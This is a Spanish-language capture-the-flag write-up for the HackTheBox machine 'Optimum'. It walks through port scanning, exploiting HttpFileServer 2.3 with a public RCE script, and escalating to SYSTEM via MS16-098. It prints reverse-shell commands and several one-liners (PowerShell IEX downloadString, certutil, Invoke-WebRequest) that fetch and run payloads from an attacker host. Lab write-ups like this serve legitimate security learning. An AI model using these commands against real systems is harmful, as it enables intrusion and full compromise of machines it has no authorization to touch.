HackTheBox - Máquina Optimum

Enumeración

nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.8 -oG allPorts
nmap -sC -sV -p80 10.10.10.8 -oN targeted

En el escaneo más especifico solo vemos un puerto abierto:

80/tcp open  http    HttpFileServer httpd 2.3

Whatweb:

whatweb http://10.10.10.8

http://10.10.10.8 [200 OK] Cookies[HFS_SID], Country[RESERVED][ZZ], HTTPServer[HFS 2.3], HttpFileServer, IP[10.10.10.8], JQuery[1.4.4], Script[text/javascript], Title[HFS /]

Explotación

Vamos a buscar alguna vulnerabilidad en searchsploit del HttpFileServer 2.3.

searchsploit HFS 2.3
--------------------------------------------------------------------------------------------------------------------------------------------------------- 
 Exploit Title                                                                                 |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------- 
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)                                    | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)                                    | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload                                 | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)                            | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)                            | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution                       | windows/webapps/34852.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------- 

Por lo que vamos a usar el script 39161.py, estando en el directorio exploits lo copiamos mediante searchsploit -m 39161.

Para ello en el script nos dice que tenemos que tener compartido el ejecutable de netcat, por ello hacemos un locate nc.exe y copiamos /usr/share/windows-resources/binaries/nc.exe a nuestro directorio content. Levantamos un servidor python3 -m http.server 80 (Necesitamos permisos de root)

Editamos el script para añadir nuestra ip y nuestro puerto local, ejecutamos la primera vez el exploit python2.7 39161.py 10.10.10.8 80 para hacer uso del netcat y la segunda vez nos creara la reverse shell, para ellos previamente nos ponemos a la escucha en el puerto que hayamos puesto en el script y finalmente ya estamos dentro de la máquina con el usuario optimum\kostas.

Escalada de Privilegios

Una vez que estamos dentro de la máquina nos vamos a pasar a una powershell para ello vamos a usar Invoke-PowerShellTcp.ps1, editamos el script para añadir al final la siguiente línea:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.XX.XX -Port 4444

Nos ponemos en escucha por el puerto 4444 y desde la máquina víctima ejecutamos:

start /b C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17:8000/IP.ps1')

Con lo que obtenemos una powershell, para saber si estamos en una máquina de x64 bits y el proceso corresponde a la arquitectura lanzamos:

[environment]::Is64BitOperatingSystem
[environment]::Is64BitProcess

Y el resultado será:

[environment]::Is64BitOperatingSystem
True
[environment]::Is64BitProcess
True
PS C:\Users\kostas\Desktop> 

Para la escalada de privilegios usamos Windows Exploit Suggester para utilizarlo necesitamos obtener la información del sistema mediante systeminfo, lo copiamos y lo guardamos en el directorio content.

Para obtener los máximos privilegios vamos a utilizar MS16-098, nos los descargamos en la máquina local y lo compartimos mediante un servidor en python.

Para descargarlo en la máquina víctima usamos alguna de estas formas:

certutil.exe -f -urlcache -split http://10.10.XX.XX:8000/bfill.exe bfill.exe

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.XX.XX:8000/bfill.exe', 'C:\Users\kostas\Desktop\bfill.exe')"

powershell Invoke-WebRequest "http://10.10.XX.X:8000/bfill.exe" -OutFile "C:\Users\kostas\Desktop\bfill.exe"

Al ejecutarlo tenemos permisos de NT AUTHORITY\SYSTEM y ya se puede ver la flag de root.